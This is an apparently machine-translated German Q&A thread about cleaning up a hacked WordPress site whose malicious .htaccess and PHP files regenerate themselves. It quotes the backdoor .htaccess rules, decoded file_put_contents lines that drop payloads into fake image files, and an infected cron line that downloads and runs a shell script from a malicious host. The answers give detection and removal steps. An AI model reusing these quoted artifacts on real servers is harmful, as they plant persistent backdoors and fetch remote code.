Gehackte WordPress .htaccess-Datei [closed]

Lesezeit: 8 Minuten

Benutzeravatar von Eugenio
Eugenio

Ich habe eine WordPress-Site mit einer .htaccess-Datei und einer Datei namens postfs.php.

Aber wenn ich versuche, sie zu löschen, werden sie erneut geschrieben. Ich habe versucht, alle Dateien auf der Site zu löschen, Berechtigungen zu ändern, den Cron zu überprüfen … aber es gibt nichts zu tun. Diese Dateien erscheinen, sobald ich sie lösche oder bearbeite.

Der Inhalt der Datei ist wie folgt:

Datei .htaccess

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php|asp|Php|aspx)$">
    Order allow,deny
    Deny from all
</FilesMatch>

<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.$
    Order allow,deny
    Allow from all
</FilesMatch>

AddType application/x-httpd-cgi .sh

<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . index.php [L]
</IfModule>

Und das postfs.php Datei hat diesen Inhalt: PHP-Decodierung

Wie kann ich die Wiederherstellung dieser Dateien vermeiden?

  • Ich habe dafür gestimmt, diese Frage zu schließen, da es sich nicht um eine Programmierfrage handelt. Vielmehr geht es darum, eine gehackte WordPress-Seite zu bereinigen.

    – Stephen Ostermiller

    20. April 2022 um 12:54 Uhr

Benutzeravatar von Nabi KAZ
Nabi Kas

Ich hatte das gleiche Problem und das Antivirus konnte es nicht erkennen. Und auch das Problem der automatischen Erstellung von Dateien war damit nicht verbunden Zeitgesteuerte Aufgabenwie Freunde sagten.

Tatsächlich werden diese Dateien jedes Mal neu erstellt, wenn eine Seite von der Website geöffnet wird.

Ich habe das Problem sorgfältig geprüft und biete die Lösung an.

Das Problem tritt bei beiden auf .htaccess Und index.php.

.htaccess infizierte Datei

index.php infizierte Datei

Zuerst suchen wir nach einem Schlüsselwort im Text der Datei (als root):

grep -lir "wjsindex.php" ./

Ausgang:

./wp-admin/images/arrow-rights.png
./wp-includes/images/smilies/icon_crystal.gif
./.htaccess

Bei einer anderen Datei suchen wir nach einem Schlüsselwort im Text:

grep -lir "RZXiMOEbYmVH" ./

Ausgang:

./wp-admin/images/arrow-lefts.png
./index.php
./wp-includes/images/smilies/icon_devil.gif

Wenn Sie sich den Inhalt dieser gefundenen Bilddateien ansehen, werden Sie feststellen, dass es sich nicht um Bilder handelt und dass sie schädlichen Code enthalten, der genau mit unseren beiden Originaldateien übereinstimmt.

Probe:

Beispiel einer schädlichen Datei arrow-rights.png

Beispiel einer schädlichen Datei arrow-lefts.png

Wir suchen nun nach allen vier gefundenen Dateien:

grep -lirE "arrow-rights.png|icon_crystal.gif|arrow-lefts.png|icon_devil.gif" ./

Ausgang:

./wp-includes/load.php
./wp-includes/template-loader.php

Wenn Sie diese beiden Ergebnisdateien bearbeiten:

Am Ende der Datei load.php und am Anfang der Datei template-loader.php, sehen Sie den zusätzlichen Code, der entfernt werden muss. (Beginnen mit //ckIIbg)

diff wp-includes/load.php-Dateien

diff wp-includes/template-loader.php Dateien

Um genauer herauszufinden, welche Abschnitte korrekt und welche bösartig sind, ersetzen Sie einfach diese Datei aus einem anderen WordPress, von dem Sie sicher sind, dass es sicher ist und dieselbe Version hat, oder suchen und entfernen Sie die zusätzlichen Abschnitte mit dem diff-Befehl.

Daher:

diff  ./wp-includes/load.php ~healthy/www/wp-includes/load.php
diff  ./wp-includes/template-loader.php ~healthy/www/wp-includes/template-loader.php

Und als letzten Schritt löschen Sie die vier schädlichen Bilddateien:

rm -f ./wp-admin/images/arrow-rights.png ./wp-includes/images/smilies/icon_crystal.gif ./wp-admin/images/arrow-lefts.png ./wp-includes/images/smilies/icon_devil.gif

Und überprüfen Sie auch Cronjobs (/var/spool/cron/username) für sei wie diese infizierte Zeile und entferne sie:

* * * * * wget -q -O xxxd http://hello.hahaha666.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /home//username/public_html 24 && rm -f xxxd

Dieser Code erstellt a ./css/index.php Datei und kann gelöscht werden.

  • Ich habe die obigen Schritte befolgt, aber einige der Indexdateien konnten bösartigen Code in wp-content index.php, Themenordnern, einschleusen

    – Ankit Prajapati

    4. April 2022 um 12:53 Uhr


  • @AnkitPrajapati Einige Viren funktionieren anders, und es war eine Idee, Fehler zu beheben, und Sie müssen möglicherweise zusätzliche Schritte unternehmen. Überprüfen Sie auch Ihre Plugins, da diese möglicherweise anfällig sind.

    – Nabi KAZ

    4. April 2022 um 17:30 Uhr

  • Ihre gesamte Website regeneriert index.php oder htaccess. Sie müssen Ihren Server neu starten oder alle Prozesse beenden, die für Ihren Server ausgeführt werden

    – Ankit Prajapati

    11. Mai 2022 um 6:12 Uhr

  • @NabiK.AZ ist Ihren Schritten gefolgt, behält aber immer noch die infizierte .htaccess-Datei mit demselben Code. Ist es ein Cron-Job-Problem? Bitte helfen auch Sie mit.

    – Pardeep Pathania

    31. Januar um 5:01 Uhr

  • @PardeepPathania stackoverflow.com/questions/67296060/hacked-wordpress-htaccess/…

    – Nabi KAZ

    3. Februar um 2:53

Benutzeravatar von mikhaeel mounir
Michael Mounir

Wir hatten vor einer Weile genau den gleichen Hack. Der erste Schritt besteht darin, die zu entschlüsseln index.php Datei, und nach der Dekodierung sehen wir, dass es vier infizierte Bilddateien gibt:

file_put_contents("wp-admin/images/arrow-lefts.png", $index_content);
file_put_contents("wp-admin/images/arrow-rights.png", $ht_content);
file_put_contents("wp-includes/images/smilies/icon_devil.gif", $index_content);
file_put_contents("wp-includes/images/smilies/icon_crystal.gif", $ht_content);

Löschen Sie zuerst die vier infizierten Images, überprüfen Sie Ihren Cron und löschen Sie alle Cron-Jobs, die Sie nicht erstellt haben.

Führen Sie dies in einer SSH-Sitzung aus, um alle zu löschen .htaccess Dateien in allen Unterverzeichnissen:

find . -type f -perm 0444 -name ".htaccess" -exec echo rm {} \;

Verwenden Sie die standardmäßigen .htaccess- und index.php-Dateien von WordPress.

Nach Abschluss können Sie Wordfence installieren und die Firewall aktivieren. Vergessen Sie auch nicht, Ihren WordPress-Kern, Ihre Plugins und Themes zu aktualisieren.

Benutzeravatar von Rouhollah talebian
Rouhollah talebian

Im ersten Schritt sollten Sie die Shell-Datei finden (Ihr Host-Provider kann dies mit Antisheller tun).

  1. Entfernen Sie unbenutztes Theme und Plugin in der WordPress-Installation

  2. Melden Sie sich im SSH-Bereich an und führen Sie diesen Befehl aus:

    find /home/.../wordpres_directory -type f -name ".htaccess" -delete

  3. Öffnen Sie die aktualisierte Seite mit diesem Link: youdomain/tld/wp-admin/update-core.php?action=do-core-reinstall

Wenn Sie das Problem weiterhin sehen, sollten Sie Schritt 2 und 3 ausführen.

Ihr Server benötigt eine Sicherheitskonfiguration. Rufen Sie den Hostanbieter an, um den Server zu sichern.

  • Was ist das für ein “Antiheller”, von dem Sie sprechen? Haben Sie eine Referenz?

    – Peter Mortensen

    10. März um 20:28 Uhr

Benutzeravatar von D.Bartenstein
D. Bartenstein

Wenn Dateien nach dem Löschen wieder auftauchen, sollten Sie nach Codezeilen Ausschau halten – oft in der index.php Datei – wo eine Frist oder a TTL (Lebensdauer) wird zusammen mit einer (meistens) sehr langen Zeile mit Base64-Code angegeben. (Diese sind oft an ein paar kürzeren Codezeilen mit Gleichheitszeichen in der Mitte zu erkennen.)

Dies funktioniert so, dass das Zeitlimit / TTL sicherstellt, dass alle Dateien gegen einen Referenzsatz von Dateien gehalten werden, die sich entweder auf einer anderen URL oder im Cache des Webservers befinden, und wenn einer fehlt, wird er sich selbst wieder synchronisieren.

Eine Sache, die Sie tun können, um dies zu lösen, ist das Löschen des Skripts zusammen mit dem Neustart von Apache und PHP / nginx. Dadurch wird der Cache des Webservers geleert.

Danach können Sie die böswilligen Deny-Allow-Regeln und andere Dinge in der .htaccess Dateien und wahrscheinlich andere Dinge, die zwischen den Dateien und Ordnern Ihrer Webanwendung lauern.

Bonusvorschläge, um wirklich zu versuchen, das eigentliche Sicherheitsproblem hier zu lösen:

  1. Stellen Sie immer sicher alle Software, Plugins, Module, Themes etc. aktuell ist. Verpassen Sie keine Sicherheitspatches!

  2. Stellen Sie sicher, dass Sie jedes Passwort für jedes Konto ändern, das Zugriff auf Ihre Webanwendung bietet. (Vergessen Sie nicht die FTP-Konten und Backend-Panels und so).

  3. Versuchen Sie, einen Malware-Scan durchzuführen (wenn Sie ein gemeinsam genutztes Hosting-Paket haben, können Sie dies über ein Sicherheits-Plugin tun, oder bitten Sie Ihr Hosting-Unternehmen, eines auszuführen).

  4. Stellen Sie sicher, dass es keine Benutzer, Plugins oder andere möglicherweise schädliche Komponenten gibt, von denen Sie noch nie gehört und die Sie nicht installiert haben!

  5. Überprüfen Sie zumindest den Stammordner, alle Upload-Ordner und die temporären Ordner auf schädliche Dateien.

Benutzeravatar von diako azizi
Diako Azizi

Ich habe das Problem gelöst.

Erstellen Sie ein neues FTP-Konto und bearbeiten Sie es .htaccess Und index.php mit FileZilla. Dann solltest du löschen wp-admin und laden Sie die neue Datei und den neuen Ordner mit einer neuen Version von WordPress hoch. Auch wp-enthalten. Und dann können Sie.

  • Kann was (letzter Satz)?

    – Peter Mortensen

    10. März um 20:17 Uhr

Benutzeravatar von Peter Mortensen
Peter Mortensen

Sie müssen nach jedem suchen .htaccess Datei. Verwenden Sie einen FTP-Client und löschen Sie ihn (in meinem Fall fast 5000). Aktualisieren Sie Plugins, um Sicherheitslücken zu schließen.

  • Kann was (letzter Satz)?

    – Peter Mortensen

    10. März um 20:17 Uhr

Benutzeravatar von Peter Mortensen
Peter Mortensen

So habe ich das gelöst:

  1. Isolieren Sie zuerst die Website auf meine IP-Adresse, damit ich alleine arbeiten kann.
  2. ENTFERNT WP installiertaber gehalten wp-Inhalt.
  3. Aktualisiert WP-Handbuch über FTP.
  4. DB reparieren / neu erstellen.
  5. Deaktivieren Sie alle Plugins.
  6. Themen deaktivieren. Die einfachste Möglichkeit besteht darin, den Namen vorübergehend zu ändern Themen Ordner zu _Thema statt Themen.
  7. Aktualisieren Sie alle Plugins.
  8. Aktiv markiert Thema Ordner für geändertes Datum. Ich habe einen Ordner in meinem gefunden inkl Ordner, der eine hatte index.php Und forge.php. Die habe ich entfernt.
  9. Zuletzt habe ich die überprüft Wurzel Ordner erneut und fand einen Ordner namens CSS. Ich habe das auch entfernt, da es auch PHP-Dateien gab, die nicht dazugehörten.
  10. ENTFERNT .htaccess Dateien gemäß oben.
  11. Neu erstellt .htaccess Datei.
  12. Alle Plugins und Themes aktiviert.
  13. Nochmals nach Dateiänderungen gesucht, falls ich etwas übersehen hatte.
  14. Lassen Sie den Datenverkehr zur Website erneut zu und behalten Sie ihn im Auge access.log für seltsame Anfragen.

Vielleicht würde das nicht jedem helfen, aber bei mir hat es gut funktioniert und es bleiben keine Spuren zurück.

1446790cookie-checkGehackte WordPress .htaccess-Datei [closed]

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy